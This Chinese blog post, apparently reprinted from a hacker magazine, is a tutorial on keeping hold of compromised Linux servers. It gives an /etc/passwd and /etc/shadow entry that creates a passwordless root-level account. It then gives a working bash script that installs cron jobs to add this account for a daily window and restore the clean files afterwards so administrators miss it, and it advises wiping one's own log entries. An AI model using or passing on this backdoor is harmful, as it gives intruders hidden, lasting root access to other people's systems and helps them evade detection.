Linux系统后门技术(隐藏帐户篇)注:已发表在《黑客手册》第6期

原创 2007年09月25日 12:47:00
 
 
Linux系统后门技术(隐藏帐户篇)
 
       每当我们欢天喜地的得到一个linux系统的服务器肉鸡时,最大的愿望就是能把它永远留住。当然,永远留住是不可能的,但是我们要尽量的不让它飞走。这就要用到linux的后门技术了,这是项复杂的技术,本人水平有限不可能面面俱到,我只希望这一系列文章能为大家提供一点思路,在您hacking的道路上打开一扇方便之门!
       言归正传,首先,给大家简单介绍一下linux的系统后门。Linux后门的种类甚至比windows下的还要多,毕竟是GNU操作系统,后门制作的空间也会很大。常见的一些后门技术有隐藏S位shell脚本文件、增加root组用户、记录破解用户密码、替换系统网络服务、可装载内核模块、rootkit工具包等等,这些技术一直被黑客们不断的组合翻新利用着,如果大家想深入的学习一下linux后门,推荐大家到http://www.egocrew.de/这个网站去看看,那里有比较新的后门技术和工具,并且很多工具都有源代码。
       好了,书说简短,下面让我们具体的看一下如何来制作安装和使用各种后门,今天是隐藏帐户的添加和驻留,高手应该可以跳过不看了。现在,假设我们得到了一个linux肉鸡的shell,并且已经获得了root的权限,从最简单的开始,通常的我们应当去添加个超级用户。
用vi 编辑/etc/passwd文件,在单独的一行中添入这样一行信息“musicyxy:x:0:0::/:/bin/sh”,
如图1
 
(图1)
然后同样vi编辑/etc/shadow文件,在单独的一行中添加“musicyxy::13407:0:99999:7:::”,
如图2
(图2)
/etc/passwd和/etc/shadow是linux中存放用户和密码信息的两个文件,用户和密码分开存放也是出于安全的考虑。编辑完成后,系统中就多了一个musicyxy用户,它的权限只比root少一点点,密码为空,这样下次我们进入这台主机的时候就可以使用musicyxy这个用户了。有很多linux的初学者会这样问:“为什么修改了这两个文件就多了个用户?而且还会有ROOT组的权限?我平时是用useradd命令添加用户的啊!”现在我就来给大家说明一下原理。
我们平时用的useradd和passwd命令是直接对/etc/passwd和/etc/shadow这个两文件进行修改生效的。这两个文件上面有很多字段,每个字段都有不同的意义,我下面来给大家详细说明。/etc/passwd文件用来存放系统帐号信息,每个字段用“:”隔开,它们的内容分别是“用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL”,现在大家明白了吧,linux就是通过读写这个文件来设置用户信息的。/etc/shadow文件用来存放用户密码信息,其各个字段的意义为“用户名:密码的MD5加密值:数字表示自系统使用以来口令被修改的天数:数字表示口令的最小修改间隔:数字表示口令更改的周期:数字表示口令失效的天数:数字表示口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用”。通过上面的说明相信大家都可以手动修改这两个文件来设置帐户了吧。现在我们的超级后门用户是留下了,但是这样明晃晃的添加用户是不是太大胆了!我们不妨借助其他的办法来隐藏这个用户,当然隐藏的方法很多,这要看你对linux的了解程度和hacking的思路。我来给大家介绍一种我自创的方法——“借尸还魂”。
思路是这样的,利用crontab(计划任务)在固定的时间做如下操作:首先我们把正常的passwd和shadow文件备份到别的地方,然后在原目录伪造这两个文件让它们生效,最后将musicyxy:x:0:0::/:/bin/sh和musicyxy::13407:0:99999:7:::两条信息追加到伪造的passwd和shadow文件中,然后在过一段时间后将原来的正常文件还原回/etc/目录。这样我们就可以在伪造文件生效的时间段内登陆系统,在不登陆的时候,伪造文件也会自动还原为正常文件,这样不容易被管理员发现,并且在一定程度上避免了正常用户信息的损坏。举个例子:我们可以把正常的文件放在/tmp/目录中,然后利用计划任务让系统在每天的下午2-3点把伪造的后门文件放到/etc/目录中,然后我们就在下午2-3点HACK进肉鸡中操作,3点过后后门会自动清除,正常的文件会回到/etc目录中,除非管理员在2-3点时查看/etc/passwd,否则很难发现后门,当然,别忘了在每次您登陆肉鸡后要记得把日志有选择性的清除掉!也就是说把自己的日志清除,保留其他用户的日志,关于这部分技术我会在以后的文章中告诉大家。
我把这个用户后门写成了shell程序,代码如下:
#!/bin/bash
echo '40 11 * * * cat /etc/passwd > /dev/ttypwd' >> /etc/door.cron;
echo '40 11 * * * cat /etc/shadow > /dev/ttysdw' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy:x:0:0::/:/bin/sh" >> /etc/passwd' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy::9999:0:99999:7:::" >> /etc/shadow' >> /etc/door.cron;
echo '09 12 * * * cat /dev/ttypwd > /etc/passwd' >> /etc/door.cron;
echo '09 12 * * * cat /dev/ttysdw > /etc/shadow' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttypwd' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttysdw' >> /etc/door.cron;
service crond restart;
crontab /etc/door.cron;
以上就是一个具体的后门帐户实现,我来给大家解释一下这段代码。
第一行是linux中shell程序的开头标志,代表代码中所使用的SHELL。第二行是将“40 11 * * * cat /etc/passwd > /dev/ttypwd”这段信息追加到/etc/door.cron文件中。/etc/door.cron是用户自定义的crontab列表文件,任务计划就是依据这个文件的内容来执行的。它的编写格式是* * * * * command ,前面的5个星分别代表分钟(0~59),小时(0~23),日期(1~31),月份(1~12),星期(0~6),星后面加要执行的命令。那么第二行所代表的意思就是在每天的11点40分运行cat /etc/passwd > /dev/ttypwd,后面的相信您也能看懂了,以此类推,运行到最后一行就是利用crontab命令让文件生效。
       我们来看一下它的执行效果:
11点39分的时候/etc/passwd文件正常,没有后门帐户,如图3.
 
 
 
(图3)
11点42分,后门帐户出现!多了一个ROOT组用户信息musicyxy:x:0:0::/:/bin/sh!如图4!
(图4)
 
11点45分,我利用后门帐户登录成功,who am i命令显示是ROOT用户,权限很大,如图5。
(图5)
12点10分,后门帐户自动隐形,和11点39分之前一样,没有什么异常,但等到明天的11点40后门帐户又会出现!如图6
(图6)
 
这个程序我在FC6和THIZ7.0下做过测试都没问题,但是其他发行版可能需要作相应的更改,而且系统中一定要安装了crond服务才能正常运行。到此,隐藏后门帐户驻留成功!我的文章也要结束了,这篇文章非常的基础,介绍了一些linux用户密码的知识,以及crontab命令的使用方式,完全都是SHELL级别的操作,适合新手学习,并且希望能给高手带来一点思路!以后我会为大家介绍更加隐蔽、更难清除、更高层次的后门,希望大家关注!今天就到这里了,BYE!
 
 
版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

Linux系统后门技术(隐藏帐户篇)

Linux系统后门技术(隐藏帐户篇)          每当我们欢天喜地的得到一个linux系统的服务器肉鸡时,最大的愿望就是能把它永远留住。当然,永远留住是不可能的,但是我们要尽量的不让...

7个软件开发原则

关于代码重复最著名的单词是Kent Beck的Once And Only Once,也就是说软件操作的任何一个片断--不管是一个算法,一个常量集合,用于阅读的文档或者其他东西--应当只出现一次。 软件...

如何把木马注册为系统服务

前几天下了个鸽子来研究下注册成系统服务的方法(我不用鸽子),发现它是用rundll32导入一个inf来实现的,这个应该是加了注册表锁(禁用reg脚本,禁用regedit)都有效的吧?例子如下:增加一个...

网络测试工具集 - netwox (可实现网络欺骗)

Netwox是一款非常强大和易用的开源工具包,可以创造任意的TCP/UDP/IP数据报文。Netwox工具包中包含了超过200个不同功能的网络报文生成工具,每个工具都拥有一个特定的编号。 Int...

TCP/IP协议攻击实验1

TCP/IP协议攻击实验1实验环境: Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_...

黑客技术入门

一.网络接口层       1.1 以太网协议            安全缺陷:共享传输媒介并明文传输     ...
  • wcc526
  • wcc526
  • 2013-10-28 13:50
  • 3147

修改或隐藏Linux终端命令行中的用户名和主机名

让命令行中的主机名和用户名显示的越短,临时修改用户名和主机名,命令行中隐藏和变短用户名和主机名

Linux系统管理技术手册(第二版)

1.6 从哪里获得信息man查看手册:1 用户级命令和应用程序2 系统调用和内核出错代码3 库调用4 设备驱动程序和网络协议5 标准文件格式6 游戏和演示7 各种文件和文档8 系统管理命令9 少见隐秘...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)